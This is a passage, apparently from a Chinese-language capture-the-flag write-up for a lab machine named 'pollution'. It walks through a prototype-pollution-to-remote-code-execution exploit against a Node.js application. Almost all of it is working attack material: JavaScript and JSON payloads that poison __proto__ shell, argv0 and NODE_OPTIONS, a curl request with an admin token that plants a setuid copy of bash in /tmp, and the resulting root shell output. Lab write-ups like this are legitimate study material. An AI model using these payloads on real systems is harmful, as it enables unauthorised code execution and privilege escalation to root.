HackTricks 可以找到許多 Prototype Pollution to RCE 相關的範例,最後 0xdf 透過修改 exec exploitation 的範例來拿到 root shell:

const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

依照 messages_send 的要求修改執行:

{
  "text": "Hi!",
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//",
    "NODE_OPTIONS": "--require /proc/self/cmdline"
  }
}

透過 curl 送出:

victor@pollution:~$ curl 'http://127.0.0.1:3000/admin/messages/send' \
  -H 'Content-Type: application/json' \
  -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODg0MDA2NywiZXhwIjoxNzg4ODQzNjY3fQ.2-84oAVkzH5ZdZ0LLEjnDCdgBMKzvw8pQzeLjqCUGwA' \
  --data-binary @- <<'EOF'
{
  "text": "Hi!",
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('/bin/cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb').toString())//",
    "NODE_OPTIONS": "--require /proc/self/cmdline"
  }
}
EOF
{"Status":"Ok"}

victor@pollution:~$ ls -al /tmp/abb
-rwsrwxrwx 1 root root 1234376 Sep  8 00:03 /tmp/abb

接著就拿 root.txt 啦:

victor@pollution:~$ /tmp/abb -p

abb-5.1# id
uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)

abb-5.1# cat /root/root.txt
77e2************************5210